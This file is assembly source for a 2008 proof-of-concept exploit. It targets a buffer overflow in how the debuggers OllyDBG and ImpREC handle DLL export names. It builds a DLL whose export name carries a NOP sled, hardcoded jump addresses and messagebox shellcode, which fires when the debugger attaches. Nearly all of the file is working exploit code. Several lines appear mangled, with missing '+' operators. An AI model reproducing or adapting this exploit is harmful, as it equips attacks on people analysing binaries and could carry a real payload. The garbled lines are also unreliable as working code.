; OllyDBG v1.10 and ImpREC v1.7f export name buffer overflow vulnerability
; PoC (probably older versions affected too, not tested though.)
;
; Included shellcode shows a messagebox (WinXP SP2) and is configured for
; OllyDBG. See lines 60-105 for more details
;-------------------------------------------------------------------------;
; Usage:
; Load this DLL to your process and try to attach OllyDBG or ImpREC
; to it -> Shellcode executed >:)
;
; Shellcode gets fired also if program is run under OllyDBG.
;
; Bug discovered and PoC coded by:
; ~ Defsanguje, Defsanguje [at] gmail [dot] com [July 7 2008]
;-------------------------------------------------------------------------;
; Coded in FASM
;-------------------------------------------------------------------------;
format PE GUI 4.0 DLL
include 'win32a.inc'
entry DllEntryPoint
section '.code' code readable executable
proc DllEntryPoint, hinstDLL,fdwReason,lpvReserved
mov eax, TRUE
ret
endp
;-------------------------------------------------------------------------;
; Modified version from original export-macro.
;-------------------------------------------------------------------------;
macro ExportExploit dllname,[label]
{ common
local module,addresses,names,ordinal,count
count = 0
forward
count = count 1
common
dd 0,0,0,RVA module,1
dd count,count,RVA addresses,RVA names,RVA ordinal
addresses:
forward
dd RVA label
common
names:
forward
local name
dd RVA name
common
ordinal: count = 0
forward
dw count
count = count 1
common
module db dllname,0
forward
;-------------------------------------------------------------------------;
; Exploit for OllyDBG v1.10
;-------------------------------------------------------------------------;
a: name
db 3e0h dup (90h)
dd 6d553b78h ; ESP to EBP
dd 6d55e5ffh ; EBP to EAX
dd 0defdefdeh
dd 0defdefdeh
dd 6d56d25eh ; add eax, 40h
dd 0defdefdeh
dd 6d52e1efh ; jmp EAX =)
db 40h-18h dup(90h)
c: push eax
mov eax, (ShellCodeStart-c) xor 0defdefdeh
xor eax, 0defdefdeh
add eax, [esp]
jmp eax
b: db 0bd0h - (ShellCodeEnd-ShellCodeStart) - (b-a) dup (90h)
ShellCodeStart:
db 81h,0ECh,07Dh,0FFh,0FFh,0FFh
db 2Bh,0C9h,51h,51h,51h,51h,51h,0BBh
db 8Ah,05h,45h,7Eh ; Address of messagebox in winxp sp2
db 0FFh,0D3h
ShellCodeEnd:
dd 0045F823h ; New EIP
db 300h dup(90h)
db 0
;-------------------------------------------------------------------------;
; Exploit for ImpREC v1.7f
;-------------------------------------------------------------------------;
; name
; db 0C0Ch - (ShellCodeEnd-ShellCodeStart) dup (90h)
;ShellCodeStart:
; db 81h,0ECh,07Dh,0FFh,0FFh,0FFh
; db 2Bh,0C9h,51h,51h,51h,51h,51h,0BBh
; db 8Ah,05h,45h,7Eh ; Address of messagebox in winxp sp2
; db 0FFh,0D3h
;ShellCodeEnd:
; dd 12c1b8h ; New EIP
; db 0
;-------------------------------------------------------------------------;
common
local x,y,z,str1,str2,v1,v2
x = count shr 1
while x > 0
y = x
while y < count
z = y
while z-x >= 0
load v1 dword from names z*4
str1=($-RVA $) v1
load v2 dword from names (z-x)*4
str2=($-RVA $) v2
while v1 > 0
load v1 from str1 %-1
load v2 from str2 %-1
if v1 <> v2
break
end if
end while
if v1
load v1 dword from names z*4
load v2 dword from names (z-x)*4
store dword v1 at names (z-x)*4
store dword v2 at names z*4
load v1 word from ordinal z*2
load v2 word from ordinal (z-x)*2
store word v1 at ordinal (z-x)*2
store word v2 at ordinal z*2
else
break
end if
z = z-x
end while
y = y 1
end while
x = x shr 1
end while }
section '.edata' export data readable
;-------------------------------------------------------------------------;
; Call the macro
;-------------------------------------------------------------------------;
ExportExploit 'exploit.dll',
$
;-------------------------------------------------------------------------;
